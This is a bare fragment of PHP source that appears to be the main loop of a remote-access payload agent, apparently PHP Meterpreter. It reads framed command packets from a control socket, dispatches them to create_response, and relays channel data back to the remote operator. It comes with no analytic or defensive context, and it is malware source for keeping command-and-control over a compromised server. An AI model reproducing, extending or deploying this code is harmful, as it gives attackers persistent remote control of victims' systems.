$r=$GLOBALS['readers'];
|
|
while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
|
|
#my_print(sprintf("Returned from select with %s readers", count($r)));
|
|
$read_failed = false;
|
|
for ($i = 0; $i < $cnt; $i++) {
|
|
$ready = $r[$i];
|
|
if ($ready == $msgsock) {
|
|
$request = read($msgsock, 8);
|
|
#my_print(sprintf("Read returned %s bytes", strlen($request)));
|
|
if (false==$request) {
|
|
#my_print("Read failed on main socket, bailing");
|
|
# We failed on the main socket. There's no way to continue, so
|
|
# break all the way out.
|
|
break 2;
|
|
}
|
|
$a = unpack("Nlen/Ntype", $request);
|
|
# length of the whole packet, including header
|
|
$len = $a['len'];
|
|
# packet type should always be 0, i.e. PACKET_TYPE_REQUEST
|
|
$ptype = $a['type'];
|
|
while (strlen($request) < $a['len']) {
|
|
$request .= read($msgsock, $len-strlen($request));
|
|
}
|
|
#my_print("creating response");
|
|
$response = create_response($request);
|
|
|
|
write($msgsock, $response);
|
|
} else {
|
|
#my_print("not Msgsock: $ready");
|
|
$data = read($ready);
|
|
if (false === $data || strlen($data) == 0) {
|
|
handle_dead_resource_channel($ready);
|
|
} else {
|
|
my_print(sprintf("Read returned %s bytes", strlen($data)));
|
|
$request = handle_resource_read_channel($ready, $data);
|
|
write($msgsock, $request);
|
|
}
|
|
}
|
|
}
|
|
# $r is modified by select, so reset it
|
|
$r = $GLOBALS['readers'];
|
|
} # end main loop
|
|
my_print("Finished");
|
|
my_print("--------------------");
|
|
close($msgsock);
|